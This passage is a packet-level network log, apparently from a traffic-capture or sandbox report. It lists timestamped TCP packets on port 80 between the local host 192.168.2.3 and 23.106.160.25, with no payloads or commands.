Sep 2, 2021 05:59:47.996613979 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.996643066 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996661901 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.996696949 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996707916 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.996752977 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996762037 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.996808052 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996818066 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.996864080 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996870041 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.996918917 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996927023 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.996974945 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.996980906 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997040033 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997040987 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997095108 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997107029 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997149944 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997165918 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997203112 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997212887 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997256994 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997265100 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997311115 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997323036 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997365952 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997378111 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997420073 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997442007 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997481108 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997484922 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997539043 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997545958 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997582912 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997602940 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997627020 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997649908 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997665882 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997703075 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997740984 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997773886 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997776985 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997812986 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997824907 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997855902 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997867107 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997870922 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997879028 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997905016 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997915030 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997939110 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997942924 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.997962952 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.997981071 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998017073 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998018026 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998034000 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998055935 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998092890 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998127937 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998138905 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998167992 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998177052 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998181105 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998217106 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998217106 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998255014 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998280048 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998290062 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998292923 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998328924 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998328924 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998364925 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998367071 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998404980 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998405933 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998445988 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998450994 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998490095 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998492956 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998529911 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998548985 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998558998 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998567104 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998579025 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998605967 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998641014 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998644114 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998661995 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998680115 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998713970 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998716116 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998728991 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998763084 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998790979 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998821974 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998842955 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998862982 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998895884 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998908043 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998925924 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998950958 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.998972893 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.998987913 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999022007 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999027014 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999059916 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999083042 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999114037 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999130011 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999146938 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999186993 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999222994 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999224901 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999243021 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999274015 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999291897 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999330044 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999339104 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999382019 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999398947 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999427080 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999449968 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999474049 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999495029 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999520063 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999536037 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999568939 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999588966 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999619961 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999639034 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999675989 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999694109 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999728918 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999746084 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999772072 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999809027 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999810934 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999823093 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999850035 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999892950 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999897957 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999917030 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999948025 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.999975920 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.999986887 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000025034 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000073910 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000104904 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000134945 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000145912 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000154972 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000161886 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000190020 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000211000 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000236988 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000266075 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000283957 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000307083 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000335932 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000363111 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000392914 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000410080 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000451088 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000504017 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000516891 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000539064 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000556946 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000592947 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000607014 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000623941 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000663996 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000693083 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000718117 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000722885 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000761986 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000773907 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000806093 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000823021 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000859022 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000859976 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000912905 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.000915051 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000967979 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.000971079 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.001025915 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.001039028 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.001070976 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.001081944 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.001116991 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.001146078 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.001167059 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.001180887 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.001224995 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.001241922 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.001276970 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.001288891 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.001327991 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.001358986 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.001379013 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.001528025 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.001586914 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.001663923 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.001816988 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.160459042 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.160515070 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.160691023 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.160711050 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.160753965 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.160846949 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161056042 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.161202908 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161334991 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.161463022 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161478996 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161540031 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161561966 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.161652088 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161703110 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.161712885 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161729097 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161745071 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161756039 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161772013 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161792040 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161794901 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.161813974 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161825895 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161840916 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161855936 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161870956 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161885023 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.161910057 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.162101984 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.173770905 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.173796892 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.173825026 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.173840046 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.173856020 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.173871994 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.173890114 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.173907995 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.173938990 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.173955917 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174005032 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.174010992 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174026012 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174083948 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174099922 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174118996 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174161911 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174176931 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174199104 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174199104 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.174242973 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174293995 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.174324036 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174345016 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174346924 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.174411058 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174432993 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174442053 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.174457073 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174478054 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174494982 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174510002 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174561977 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.174618959 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.174663067 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174680948 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174699068 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174720049 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174740076 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174746037 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.174761057 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174839973 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.174849987 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174871922 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174887896 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174938917 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.174942017 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174962044 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.174981117 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175007105 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.175056934 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175059080 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.175080061 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175146103 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.175148010 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175229073 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.175230980 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175252914 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175267935 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175306082 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.175324917 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175340891 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175355911 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175369978 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.175438881 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175455093 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175471067 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175473928 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.175537109 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.175551891 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175628901 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.175664902 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175685883 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175745964 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.175780058 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175797939 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175812960 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175859928 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.175889969 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175906897 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175924063 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.175926924 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175949097 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.175996065 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176018953 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.176100969 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.176119089 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176141977 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176157951 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176177979 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176199913 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176219940 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.176220894 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176242113 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176347017 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.176352024 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.176372051 CEST	80	49707	23.106.160.25	192.168.2.3
